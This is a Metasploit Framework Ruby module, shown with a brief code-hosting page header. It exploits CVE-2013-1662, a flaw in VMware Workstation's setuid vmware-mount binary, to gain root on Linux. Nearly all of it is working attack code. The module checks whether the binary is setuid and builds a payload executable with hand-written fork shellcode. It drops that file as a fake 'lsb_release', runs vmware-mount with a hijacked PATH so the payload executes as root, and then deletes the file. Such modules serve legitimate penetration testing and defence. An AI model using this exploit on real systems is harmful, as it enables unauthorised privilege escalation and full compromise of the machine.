106 lines
3.3 KiB
Ruby
106 lines
3.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/file'
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class Metasploit4 < Msf::Exploit::Local
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include Msf::Exploit::EXE
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include Msf::Post::Common
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info, {
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'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
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'Description' => %q{
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VMWare Workstation (up to and including 9.0.2 build-1031769)
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and Player have a setuid executable called vmware-mount that
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invokes lsb_release in the PATH with popen(3). Since PATH is
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user-controlled, and the default system shell on
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Debian-derived distributions does not drop privs, we can put
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an arbitrary payload in an executable called lsb_release and
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have vmware-mount happily execute it as root for us.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tavis Ormandy', # Vulnerability discovery and PoC
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'egypt' # Metasploit module
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],
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'Platform' => [ 'linux' ],
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultOptions' => {
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"PrependSetresuid" => true,
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"PrependSetresgid" => true,
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},
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'Privileged' => true,
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'DefaultTarget' => 0,
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'References' => [
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[ 'CVE', '2013-1662' ],
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[ 'OSVDB', '96588' ],
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[ 'BID', '61966'],
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[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
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[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
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],
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'DisclosureDate' => "Aug 22 2013"
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}
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))
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# Handled by ghetto hardcoding below.
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deregister_options("PrependFork")
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end
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def check
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if setuid?("/usr/bin/vmware-mount")
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CheckCode::Vulnerable
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else
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CheckCode::Safe
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end
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end
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def exploit
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unless check == CheckCode::Vulnerable
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fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
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end
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# Ghetto PrependFork action which is apparently only implemented for
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# Meterpreter.
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# XXX Put this in a mixin somewhere
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# if(fork()) exit(0);
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# 6A02 push byte +0x2
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# 58 pop eax
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# CD80 int 0x80 ; fork
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# 85C0 test eax,eax
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# 7406 jz 0xf
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# 31C0 xor eax,eax
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# B001 mov al,0x1
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# CD80 int 0x80 ; exit
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exe = generate_payload_exe(
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:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
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)
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write_file("lsb_release", exe)
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cmd_exec("chmod +x lsb_release")
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cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
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# Delete it here instead of using FileDropper because the original
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# session can clean it up
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cmd_exec("rm -f lsb_release")
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end
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def setuid?(remote_file)
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!!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
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end
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end
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